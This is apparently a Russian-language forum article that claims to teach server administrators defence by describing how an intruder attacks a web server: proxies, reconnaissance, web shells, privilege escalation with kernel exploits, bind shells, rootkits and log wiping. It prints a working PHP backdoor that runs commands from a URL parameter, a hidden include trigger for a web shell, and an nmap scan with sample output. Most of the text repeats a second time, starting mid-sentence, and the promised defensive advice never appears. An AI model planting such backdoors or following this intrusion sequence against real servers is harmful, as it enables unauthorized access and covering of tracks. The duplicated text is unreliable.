F
FRANKENSTEIN
Взломщик, кто он и как ему противостоять? В этой статье мы расскажем об основных моментах взлома/защиты, программ для взлома веб серверов от взломщиков. О методах
противодействия взломщикам. Но для того, чтобы понять как и что нужно защищать подробно
расскажем о том, как мыслит и что делает взломщик. Что он ищет и к чему стремится, на что он
обращает внимание, какие программы/утилиты использует...Расскажем как можно защитить веб
сервер, дадим много полезных советов. Заложим те минимальные знания, ту основу которая
должна быть у каждого администратора и "продвинутого" пользователя.
Для начала нужно ответить на главный вопрос - "Для чего же взламывают сервера???"
Целей взлома может быть очень много, но подводя их под определённые категории можно выявить:
- плацдарм для дальнейших действий
- взлом в коммерческих целях
- для души
Вот, скорее всего это и есть те цели, ради которых взломщик взламывают сервера, останавливаться на
этом не буду, так как думаю, что пункты не требуют их подробного рассмотрения.
|"Разновидности хакеров"|
Black hat — черный хакер, кража приватной информации и др.
White hat - белый хакер, отличный программист и эксперт по безопасности, занимается повышением
безопасность компьютерных систем.
Grey hat - серый хакер, занимается и тем и тем.
Script kiddie - человек мало понимающий в защите информации использующий чужие эксплоиты, "девиз" -
чем больше тем лучше.
________________________________
ВЗЛОМ
________________________________
Описанное мной далее - это один из вариантов того, как будет действовать взломщик...
Перед каждым взломом, скорее всего взломщик для начала найдёт рабочие прокси сервера,
для этого он может использовать такие сайты как:
void.ru
antichat.ru/proxy
Либо использовать свои прокси сервера.После нахождения живого прокси, взломщик проверит
его в таком сервисе как ip.xss.ru.И если всё в порядке, то примется за дело.
|Процесс поиска жертвы|
Для поиска жертвы скрипт кидди могут использовать найденные недавно уязвимости, и с
помощью поисковиков (ya.ru, google.ru) искать уязвимые сервера. Этот "способ"
в плотную рассматривать не буду, так как всё сводится к простому поиску жертв и об
этом сказано уже очень много.
|Исследование сервера|
Предположим, что у взломщика имеется сервер который он хочет взломать. Для того, чтобы
это сделать он может для начала:
(-1) Обследовать сайт на наличие каких-то скриптов (если они будут найдены то поискать
уязвимости этих скриптов)
Если данный пункт оказался нерезультативным, то взломщик может прибегнуть к
альтернативным вариантам инвентаризации сервера, например к таким как:
(-2) использование сервиса на сайте domainsdb.net.С помощью этого сервиса взломщик
узнает о том, какие ещё сайты хостятся на сервере который он собирается взломать.
После получения списка, последует тот же путь, что и в пункте 1, но процент нахождения
уязвимого скрипта естественно увеличивается.
(-3) Если не 1/2 пункт не сработали, то взломщик может прибегнуть к сканерам. Например
таким как Xspider,..
(-4) Если все пункты не сработали, то взломщик может просканировать сервер сканером
nmap, и если будут найдены какие-либо демоны, на которые есть ремоут эксплоиты он попробует
их (о сканере nmap, и о эксплоитах подробнее расскажу позже).
В нашем случае результат исследования сервера будет положительным, т.е взломщик найдёт
что нужно, используя программы для взлома и получит веб шелл (веб шелл - скрипт с помощью которого осуществляется удалённое
управление сервером, т.е выполнение команд, операций с файлами).
Получив веб шелл на 1 сайте, у взломщика будут текущие права того пользователя веб сайта на котором
лежит веб шелл.Но часто бывает так что закачав на сайт веб шелл права взломщика
становятся либо www, либо apache, конечно это очень редкое явление зависящее от настройки
сервера и естественно не отвечающее должным условиям безопасности сервера.
|Закрепление в системе(веб уровень)|
Для того, чтобы закрепиться в системе после получения веб шела, взломщик может
воспользоваться скриптами (r57shell, nstview) либо "протроянит php/cgi скрипты",
(-1) например, так:
PHP код:
<?
$cmd = @$_GET['cmd'];
if ($cmd)
{
passthru($cmd);
exit;
}
?>
данном примере, взломщик ставит этот код в начало php скрипта находящегося на сервере,
сохраняет. И обратившись к нему через браузер: target.com/script.php?cmd=ls -al
где: target.com - "жертва", script.php - протрояненый скрипт, cmd параметр из кода,
ls -al - команда. Таким образом у него будет возможность выполнения команд на сервере
через скрипт.
(-2) Если взломщик хочет чтобы веб шелл не легко было засечь он может
воспользоваться скриптом такого содержания:
PHP код:
<? if($var==1) {include("путь до скрипта");} ?>
Где: if($var==1) если переменная var = 1, то запускается файл, ("путь до скрипта") - сюда
вписывается полный путь до веб шела.
С этим скриптом он сделает тоже, что и со скриптом данным мною раньше, просто поставит
его код, в начало php скрипта, и обратившись к нему через браузер так:
target.com/file.php&var=1
запустится файл веб шела.Т.е получаем следующее: взломщик обратился не по адресу веб
шела, а по адресу "доверительного" php скрипта, это снизит подозрение на то что на
сервере находится веб шелл.
В том случае, если на сервере включена опция safe mode, взломщик сможет её обойти, но
реализация выполнение команд в этом случае неудобна, поэтому, скорее всего неопытный
взломщик просто забудет о вашем сервере.
|После закрепления на веб уровне|
После получения веб шела на сервере, взломщик либо остановится на простом дефейсе, либо
пойдёт дальше для получения более значительных привилеги.Рассмотрим второй путь, так
как про первый и говорить нечего.
Чаще используемый алгоритм определения сервера под *nix выглядит примерно так:
(-1) Для начала последует ввод команды uname -a, таким образом, взломщик получит данные о
ядре вашего сервера (т.е его версию).После определения версии если она будет достаточно
стара предположим 2.4.20, он попробует запустить эксплоит.Эксплоит - программа
эксплуатирующая какую-либо уязвимость (например, такие эксплоиты как mrmap, do_brk...).
В приведённом мною примере эксплоиты нужны для получения локал рут шела.Требования по
их запуску заключаются в следующем:
- должен быть доступ к терминалу(консоли)
- запуск эксплоита должен происходить со взламываемого сервера
(Конечно, есть и такие как mremap_pte.c, его можно переписать таким образом что его можно
будет запускать и с помощью веб шела).
Дак вот мы на том моменте, когда взломщик хочет использовать ядерные эксплоиты.
для того, чтобы получить доступ к терминалу ему нужно будет использовать так называемый
бинд шелл (программа или скрипт с помощью которого откроется определённый порт на сервере)
бинд шелл может входить в комплект с веб шелом (например, как в nstview, r57shell).
Скорее всего чтобы не подключаться к серверу лишний раз взломщик просканирует открытые
порты сервера, если тот порт на который он "повесил" бинд шелл числится в этом списке то
он с помощью программы-клиента подключится к этому порту с привилегиями, с которыми он
запустил бинд шелл.Далее скачивает эксплоит (wget, curl) компилит и запускает.После
незамедлительно (если эксплоит прошёл) получает полноценный рут шелл.Дальше взломщик
скорее всего протроянит, либо установит в систему руткит (программа которая повиснет на
определённом порту, обратившись к которому взломщик будет получать рут шелл).После запуска
эксплоита и получения привилегий 0 пользователя взломщик затрёт логи (либо в ручную либо
воспользовавшись лог вайпером) следующие действия можно не рассматривать так как спектр
применения рут аккаунта очень широк.
(-2) Если ядерные эксплоиты не дали нужного эффекта (рута), то взломщик попробует
просканировать сервер на наличие других сервисов (например, сканером nmap часто он по
дефлоту установлен на сервере).Сканер может быть запущен с такими опциями:
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
nmap -vv -sT -sV -P0 -O -oN rezultat.txt "HOST"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
Такие опции используются, если взломщик сканирует с взламываемого сервера, если сканирует
от себя то скорее всего не будет использовать этот метод так как опция -sT конект скан,
наделает слишком много "шума" и пополнит логи сервера, хотя и сканирование не является
незаконным деянием, но всё же взломщик, скорее всего не будет привлекать лишнего внимания.
Разберёмся в опциях запуска:
nmap - запуск сканера
-vv - 2-ой эффект, получение версий демонов/сервисов
-sT - метод сканирования (конект скан)
-P0 - не пинговать сервер при сканировании
-O - определение удалённой ОС
-oN rezultat.txt - запись результатов в файл rezultat.txt
HOST - имя/ip хоста для сканирования
Предположим, взломщик получил вот такой результат:
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.2.9
22/tcp open ssh OpenSSH 4.0p1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/4.4.1)
137/tcp closed netbios-ns
143/tcp open imap Cyrus IMAP4 server 2.2.12
445/tcp closed microsoft-ds
4000/tcp open remoteanything?
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
противодействия взломщикам. Но для того, чтобы понять как и что нужно защищать подробно
расскажем о том, как мыслит и что делает взломщик. Что он ищет и к чему стремится, на что он
обращает внимание, какие программы/утилиты использует...Расскажем как можно защитить веб
сервер, дадим много полезных советов. Заложим те минимальные знания, ту основу которая
должна быть у каждого администратора и "продвинутого" пользователя.
Для начала нужно ответить на главный вопрос - "Для чего же взламывают сервера???"
Целей взлома может быть очень много, но подводя их под определённые категории можно выявить:
- плацдарм для дальнейших действий
- взлом в коммерческих целях
- для души
Вот, скорее всего это и есть те цели, ради которых взломщик взламывают сервера, останавливаться на
этом не буду, так как думаю, что пункты не требуют их подробного рассмотрения.
|"Разновидности хакеров"|
Black hat — черный хакер, кража приватной информации и др.
White hat - белый хакер, отличный программист и эксперт по безопасности, занимается повышением
безопасность компьютерных систем.
Grey hat - серый хакер, занимается и тем и тем.
Script kiddie - человек мало понимающий в защите информации использующий чужие эксплоиты, "девиз" -
чем больше тем лучше.
________________________________
ВЗЛОМ
________________________________
Описанное мной далее - это один из вариантов того, как будет действовать взломщик...
Перед каждым взломом, скорее всего взломщик для начала найдёт рабочие прокси сервера,
для этого он может использовать такие сайты как:
void.ru
antichat.ru/proxy
Либо использовать свои прокси сервера.После нахождения живого прокси, взломщик проверит
его в таком сервисе как ip.xss.ru.И если всё в порядке, то примется за дело.
|Процесс поиска жертвы|
Для поиска жертвы скрипт кидди могут использовать найденные недавно уязвимости, и с
помощью поисковиков (ya.ru, google.ru) искать уязвимые сервера. Этот "способ"
в плотную рассматривать не буду, так как всё сводится к простому поиску жертв и об
этом сказано уже очень много.
|Исследование сервера|
Предположим, что у взломщика имеется сервер который он хочет взломать. Для того, чтобы
это сделать он может для начала:
(-1) Обследовать сайт на наличие каких-то скриптов (если они будут найдены то поискать
уязвимости этих скриптов)
Если данный пункт оказался нерезультативным, то взломщик может прибегнуть к
альтернативным вариантам инвентаризации сервера, например к таким как:
(-2) использование сервиса на сайте domainsdb.net.С помощью этого сервиса взломщик
узнает о том, какие ещё сайты хостятся на сервере который он собирается взломать.
После получения списка, последует тот же путь, что и в пункте 1, но процент нахождения
уязвимого скрипта естественно увеличивается.
(-3) Если не 1/2 пункт не сработали, то взломщик может прибегнуть к сканерам. Например
таким как Xspider,..
(-4) Если все пункты не сработали, то взломщик может просканировать сервер сканером
nmap, и если будут найдены какие-либо демоны, на которые есть ремоут эксплоиты он попробует
их (о сканере nmap, и о эксплоитах подробнее расскажу позже).
В нашем случае результат исследования сервера будет положительным, т.е взломщик найдёт
что нужно, используя программы для взлома и получит веб шелл (веб шелл - скрипт с помощью которого осуществляется удалённое
управление сервером, т.е выполнение команд, операций с файлами).
Получив веб шелл на 1 сайте, у взломщика будут текущие права того пользователя веб сайта на котором
лежит веб шелл.Но часто бывает так что закачав на сайт веб шелл права взломщика
становятся либо www, либо apache, конечно это очень редкое явление зависящее от настройки
сервера и естественно не отвечающее должным условиям безопасности сервера.
|Закрепление в системе(веб уровень)|
Для того, чтобы закрепиться в системе после получения веб шела, взломщик может
воспользоваться скриптами (r57shell, nstview) либо "протроянит php/cgi скрипты",
(-1) например, так:
PHP код:
<?
$cmd = @$_GET['cmd'];
if ($cmd)
{
passthru($cmd);
exit;
}
?>
данном примере, взломщик ставит этот код в начало php скрипта находящегося на сервере,
сохраняет. И обратившись к нему через браузер: target.com/script.php?cmd=ls -al
где: target.com - "жертва", script.php - протрояненый скрипт, cmd параметр из кода,
ls -al - команда. Таким образом у него будет возможность выполнения команд на сервере
через скрипт.
(-2) Если взломщик хочет чтобы веб шелл не легко было засечь он может
воспользоваться скриптом такого содержания:
PHP код:
<? if($var==1) {include("путь до скрипта");} ?>
Где: if($var==1) если переменная var = 1, то запускается файл, ("путь до скрипта") - сюда
вписывается полный путь до веб шела.
С этим скриптом он сделает тоже, что и со скриптом данным мною раньше, просто поставит
его код, в начало php скрипта, и обратившись к нему через браузер так:
target.com/file.php&var=1
запустится файл веб шела.Т.е получаем следующее: взломщик обратился не по адресу веб
шела, а по адресу "доверительного" php скрипта, это снизит подозрение на то что на
сервере находится веб шелл.
В том случае, если на сервере включена опция safe mode, взломщик сможет её обойти, но
реализация выполнение команд в этом случае неудобна, поэтому, скорее всего неопытный
взломщик просто забудет о вашем сервере.
|После закрепления на веб уровне|
После получения веб шела на сервере, взломщик либо остановится на простом дефейсе, либо
пойдёт дальше для получения более значительных привилеги.Рассмотрим второй путь, так
как про первый и говорить нечего.
Чаще используемый алгоритм определения сервера под *nix выглядит примерно так:
(-1) Для начала последует ввод команды uname -a, таким образом, взломщик получит данные о
ядре вашего сервера (т.е его версию).После определения версии если она будет достаточно
стара предположим 2.4.20, он попробует запустить эксплоит.Эксплоит - программа
эксплуатирующая какую-либо уязвимость (например, такие эксплоиты как mrmap, do_brk...).
В приведённом мною примере эксплоиты нужны для получения локал рут шела.Требования по
их запуску заключаются в следующем:
- должен быть доступ к терминалу(консоли)
- запуск эксплоита должен происходить со взламываемого сервера
(Конечно, есть и такие как mremap_pte.c, его можно переписать таким образом что его можно
будет запускать и с помощью веб шела).
Дак вот мы на том моменте, когда взломщик хочет использовать ядерные эксплоиты.
для того, чтобы получить доступ к терминалу ему нужно будет использовать так называемый
бинд шелл (программа или скрипт с помощью которого откроется определённый порт на сервере)
бинд шелл может входить в комплект с веб шелом (например, как в nstview, r57shell).
Скорее всего чтобы не подключаться к серверу лишний раз взломщик просканирует открытые
порты сервера, если тот порт на который он "повесил" бинд шелл числится в этом списке то
он с помощью программы-клиента подключится к этому порту с привилегиями, с которыми он
запустил бинд шелл.Далее скачивает эксплоит (wget, curl) компилит и запускает.После
незамедлительно (если эксплоит прошёл) получает полноценный рут шелл.Дальше взломщик
скорее всего протроянит, либо установит в систему руткит (программа которая повиснет на
определённом порту, обратившись к которому взломщик будет получать рут шелл).После запуска
эксплоита и получения привилегий 0 пользователя взломщик затрёт логи (либо в ручную либо
воспользовавшись лог вайпером) следующие действия можно не рассматривать так как спектр
применения рут аккаунта очень широк.
(-2) Если ядерные эксплоиты не дали нужного эффекта (рута), то взломщик попробует
просканировать сервер на наличие других сервисов (например, сканером nmap часто он по
дефлоту установлен на сервере).Сканер может быть запущен с такими опциями:
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
nmap -vv -sT -sV -P0 -O -oN rezultat.txt "HOST"
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
Такие опции используются, если взломщик сканирует с взламываемого сервера, если сканирует
от себя то скорее всего не будет использовать этот метод так как опция -sT конект скан,
наделает слишком много "шума" и пополнит логи сервера, хотя и сканирование не является
незаконным деянием, но всё же взломщик, скорее всего не будет привлекать лишнего внимания.
Разберёмся в опциях запуска:
nmap - запуск сканера
-vv - 2-ой эффект, получение версий демонов/сервисов
-sT - метод сканирования (конект скан)
-P0 - не пинговать сервер при сканировании
-O - определение удалённой ОС
-oN rezultat.txt - запись результатов в файл rezultat.txt
HOST - имя/ip хоста для сканирования
Предположим, взломщик получил вот такой результат:
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.2.9
22/tcp open ssh OpenSSH 4.0p1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/4.4.1)
137/tcp closed netbios-ns
143/tcp open imap Cyrus IMAP4 server 2.2.12
445/tcp closed microsoft-ds
4000/tcp open remoteanything?
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++
Последнее редактирование модератором: